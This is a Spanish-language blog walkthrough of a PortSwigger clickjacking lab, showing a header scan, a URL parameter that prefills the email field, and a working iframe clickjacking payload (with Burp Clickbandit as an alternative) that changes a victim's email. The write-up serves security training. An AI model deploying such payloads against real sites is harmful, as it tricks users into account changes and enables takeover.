Entrada

Clickjacking with form input data prefilled from a URL parameter

Laboratorio de Portswigger sobre Clickjacking

Clickjacking with form input data prefilled from a URL parameter

Certificaciones

  • eWPT
  • eWPTXv2
  • OSWE
  • BSCP

Descripción

El objetivo del laboratorio es cambiar la dirección de correo electrónico del usuario rellenando previamente un formulario mediante un parámetro en la URL y engañando al usuario para que haga click en un botón de "Actualizar correo electrónico", llevando así a cabo, un ataque de Clickjacking. El laboratorio se considerará resuelto cuando la dirección de correo electrónico haya sido cambiada. Podemos iniciar sesión en nuestra propia cuenta utilizando las credenciales wiener:peter


Guía de clickjacking

Antes de completar este laboratorio es recomendable leerse esta guía de clickjacking https://justice-reaper.github.io/posts/Clickjacking-Guide/

Resolución

Al acceder a la web vemos esto

Si hacemos click sobre My account nos podemos loguear con las credenciales wiener:peter

Después de iniciar sesión vemos que podemos cambiarnos el correo electrónico

Si pulsamos sobre View post vemos que hay una sección de comentarios

Para ver si una web es vulnerable a Clickjacking podemos usar la herramienta shcheck https://github.com/santoru/shcheck.git para identificar las cabeceras de seguridad

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
# shcheck.py -i -x -k https://0a1800bc042c20d98f01497400e5002b.web-security-academy.net/

======================================================
 > shcheck.py - santoru ..............................
------------------------------------------------------
 Simple tool to check security headers on a webserver 
======================================================

[*] Analyzing headers of https://0a1800bc042c20d98f01497400e5002b.web-security-academy.net/
[!] URL Returned an HTTP error: 404
[*] Effective URL: https://0a1800bc042c20d98f01497400e5002b.web-security-academy.net/
[!] Missing security header: X-XSS-Protection
[!] Missing security header: X-Frame-Options
[!] Missing security header: X-Content-Type-Options
[!] Missing security header: Strict-Transport-Security
[!] Missing security header: Content-Security-Policy
[!] Missing security header: X-Permitted-Cross-Domain-Policies
[!] Missing security header: Referrer-Policy
[!] Missing security header: Expect-CT
[!] Missing security header: Permissions-Policy
[!] Missing security header: Cross-Origin-Embedder-Policy
[!] Missing security header: Cross-Origin-Resource-Policy
[!] Missing security header: Cross-Origin-Opener-Policy

[*] No information disclosure headers detected

[*] No caching headers detected
-------------------------------------------------------
[!] Headers analyzed for https://0a1800bc042c20d98f01497400e5002b.web-security-academy.net/
[+] There are 0 security headers
[-] There are not 12 security headers

Si preferimos usar una herramienta web podemos usar securityheaders https://securityheaders.com/

En este caso, vemos que la web no tiene ni Content-Security-Policy (CSP) ni X-Frame-Options, lo cual la hace vulnerable a Clickjacking

Algunos sitios web que requieren completar y enviar formularios permiten rellenar previamente los datos del formulario mediante parámetros GET antes del envío. Dado que los valores GET forman parte de la URL, la URL de destino puede modificarse para incorporar valores elegidos por el atacante

Hay otros sitios web que pueden requerir interacción por parte del usuario, como que el usuario ingrese manualmente los datos, complete pasos previos (como una verificación CAPTCHA) antes de habilitar el envío, etc

Para comprobar si el formulario permite rellenar previamente los datos mediante parámetros GET, lo primero que necesitamos hacer es identificar los nombres de los campos. En este caso vemos que el valor del campo a rellenar es email

El siguiente paso es añadir el parámetro email a la URL y ver si se rellena el campo email del formulario, para ello, accedemos a https://0a1800bc042c20d98f01497400e5002b.web-security-academy.net/my-account?email=pwned@gmail.com y vemos que sí que funciona

Una vez comprobado esto, ya podemos construir un payload, para ello, nos dirigimos al Exploit Server y pegamos este payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<style>
   iframe {
       position:relative;
       width: 500px;
       height: 700px;
       opacity: 0.3;
       z-index: 2;
   }
   div {
       position:absolute;
       top:450px;
       left:75px;
       z-index: 1;
   }
</style>
<div>Click me</div>
<iframe src="https://0a1800bc042c20d98f01497400e5002b.web-security-academy.net/my-account?email=pwned@gmail.com"></iframe>

Pinchamos sobre View exploit para comprobar que está bien centrado el div que contiene el texto Click me

Una vez comprobado modificamos la opacidad a 0

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<style>
   iframe {
       position:relative;
       width: 500px;
       height: 700px;
       opacity: 0;
       z-index: 2;
   }
   div {
       position:absolute;
       top:450px;
       left:75px;
       z-index: 1;
   }
</style>
<div>Click me</div>
<iframe src="https://0a1800bc042c20d98f01497400e5002b.web-security-academy.net/my-account?email=pwned@gmail.com"></iframe>

Otra forma alternativa sería usando la herramienta Clickbandit de Burpsuite, para usarla nos dirigimos a Burpsuite y pulsamos Burp > Burp Clickbandit

Pulsamos sobre Copy Clickbandit to clipboard

Nos dirigimos a Chrome, nos abrimos la consola de desarrollador y pegamos ahí todo el código

Una vez hecho esto nos saldrá este menú

Pulsamos en Start y marcamos la casilla Disable click actions para desactivar los clicks

Lo siguiente sería pulsar sobre el botón que queremos, en este caso sobre Update email que es el que queremos usar para el ataque de Clickjacking

Una vez hecho esto, pulsamos sobre Finish y se nos mostrará como es nuestro payload actualmente

Usando los símbolos - y +, podemos subir o bajar el aumento, y con Toogle transparency podemos activar o desactivar la transparencia. En mi caso, lo voy a dejar de esta forma. Cuando ya lo tengamos como queremos, pulsamos en Save y se nos descargará un documento HTML

Pegamos el código en el Exploit server

Pulsamos sobre View exploit para ver si se ve correctamente

Hacemos click sobre el botón

Nos dirigimos a My account para ver si ha funcionado el ataque, y vemos que así es. Una vez comprobado que se ve y funciona correctamente, pulsamos sobre Deliver exploit to victim y completamos el laboratorio. Debemos tener en cuenta que dos usuarios no pueden tener el mismo email, por lo tanto deberemos modificar el nuestro o el email que se usa en el payload

Esta entrada está licenciada bajo CC BY 4.0 por el autor.